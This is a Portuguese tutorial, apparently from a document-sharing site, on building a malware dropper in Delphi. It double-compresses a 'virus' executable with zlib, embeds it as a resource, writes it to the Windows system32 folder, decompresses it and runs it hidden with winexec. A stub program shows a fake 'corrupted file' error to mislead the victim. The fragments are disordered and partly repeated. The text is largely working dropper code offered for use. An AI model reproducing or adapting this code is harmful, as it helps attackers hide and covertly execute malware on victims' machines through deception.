Escolar Documentos
Profissional Documentos
Cultura Documentos
Obs:
Onde C:\arquivo.exe é o nome inicial do nosso vírus
e C:\arquivocompactado.exe é o nome do nosso vírus compactado uma
vez.
Depois que nosso vírus estiver compactado uma vez vamos compacta-lo
novamente, execute o mesmo procedimento de compactação só que em
origem coloque o nome do vírus compactado uma vez, vai ficar assim :
origem: C:\arquivocompactado.exe
destino: C:\arquivocompactado2.exe
Obs:
Onde C:\arquivocompactado.exe é o nome do nosso vírus compactado
uma vez
e C:\arquivocompactado2.exe é o nome/caminho do nosso arquivo
compactado pela segunda vez.
Salve no disco local C:\ com o nome de virus.rc e após salvar você deve
compilar, se você não souber usar muito bem arquivo de recursos
recomendo que leia este post antes de continuar.
Agora crie uma nova pasta em um diretório de sua escolha e abra o Delphi.
copie o virus.res para a mesma pasta onde salvou o seu projeto e na unit de
seu projeto abaixo de {$R *.dfm} acrescente {$R virus.res} deve ficar desse
jeito:
implementation
{$R *.dfm}
{$R virus.res}
implementation
Uses zLib;
{$R *.dfm}
{$R virus.res}
procedure virus;
var
myresource: TResourceStream;
Begin
myresource := TResourceStream.Create(Hinstance, 'virus', 'EXEs');
Try
if not FileExists('C:\windows\system32\arquivocompactado2.exe') then
myresource.SavetoFile('C:\windows\system32\arquivocompactado2.exe');
finally
myresource.Free;
end;
end;
Application.ShowMainForm := False;
virus;
Var
FileIni, FileOut: TFileStream;
DeZip: TDecompressionStream;
i : Integer;
Buf: array[0..1023]of Byte;
begin
if not fileExists ('C:\windows\system32\arquivocompactado.exe') then begin
FileIni:=TFileStream.Create('C:\windows\system32\arquivocompactado2.exe',
fmOpenRead and fmShareExclusive);
FileOut:=TFileStream.Create('C:\windows\system32\arquivocompactado.exe',
fmCreate or fmShareExclusive);
DeZip:=TDecompressionStream.Create(FileIni);
repeat
i:=DeZip.Read(Buf, SizeOf(Buf));
if i <> 0 then
FileOut.Write(Buf, i);
until i <= 0;
DeZip.Free;
FileOut.Free;
FileIni.free;
end;
Var
FileIni, FileOut: TFileStream;
DeZip: TDecompressionStream;
i : Integer;
Buf: array[0..1023]of Byte;
begin
if not fileExists ('C:\windows\system32\arquivo.exe') then begin
FileIni:=TFileStream.Create('C:\windows\system32\arquivocompactado.exe',
fmOpenRead and fmShareExclusive);
FileOut:=TFileStream.Create('C:\windows\system32\arquivo.exe', fmCreate or
fmShareExclusive);
DeZip:=TDecompressionStream.Create(FileIni);
repeat
i:=DeZip.Read(Buf, SizeOf(Buf));
if i <> 0 then
FileOut.Write(Buf, i);
until i <= 0;
DeZip.Free;
FileOut.Free;
FileIni.free;
winexec ('C:\windows\system32\arquivo.exe',SW_hide);
end;
Vamos lá terminar logo isso... copie o extrator.exe que você acabou de criar
para o disco local C:\
Crie uma nova pasta qualquer, copie o extrator.res para lá, crie uma nova
aplicação no delphi e em seguida salve na mesma pasta onde está o
extrator.res.
procedure EXTRATOR;
var
myresource: TResourceStream;
Begin
myresource := TResourceStream.Create(Hinstance, 'extrator', 'EXES');
Try
if not FileExists('C:\windows\extrator.exe') then
myresource.SavetoFile('C:\windows\extrator.exe');
finally
myresource.Free;
end;
end;
e no evento Oncreate do form digite:
Application.ShowMainForm := False;
EXTRATOR;
winexec ('C:\windows\extrator.exe',SW_HIDE);
ShowMessage ('Erro ao executar arquivo, provavelmente está corrompido.');
Application.Terminate;
Até a próxima